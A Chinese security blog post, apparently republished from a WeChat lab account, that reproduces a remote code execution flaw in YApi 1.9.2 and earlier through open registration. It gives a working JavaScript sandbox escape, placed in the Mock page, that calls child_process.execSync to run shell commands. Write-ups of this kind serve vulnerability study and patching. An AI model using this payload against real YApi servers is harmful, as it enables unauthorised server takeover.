YApi开放注册导致rce漏洞

admin 2023年11月8日09:55:03评论27 views字数 732阅读2分26秒阅读模式
漏洞简介
YApi是一个基于Node.JS开发的API管理工具。如果启用了YApi服务器的注册,攻击者将能够在Mock页面中执行任意Javascript代码。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。
影响版本
YApi <= 1.9.2
漏洞复现

docker-compose up -d

开启服务后,访问http://your-ip:3000

YApi开放注册导致rce漏洞

按照要求注册一个普通用户,信息随便填写
进入个人页面后,随便创建一个项目,这里我创建了一个webshell项目

YApi开放注册导致rce漏洞

在新创建的项目中添加一个接口

YApi开放注册导致rce漏洞

因为该管理工具可以在Mock页面中执行任意Javascript代码,所以我们在新建的项目中的mock页面写入我们需要执行的JS代码

const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()

YApi开放注册导致rce漏洞

这里注意我们要先点击开启再保存,否则该js代码无法被执行。回到之前的预览页面,就会出现一条url,点击该url,mack处的js代码被执行成功爆出以下信息

YApi开放注册导致rce漏洞

原文始发于微信公众号(巢安实验室):YApi开放注册导致rce漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月8日09:55:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   YApi开放注册导致rce漏洞http://cn-sec.com/archives/2185511.html

发表评论

匿名网友 填写信息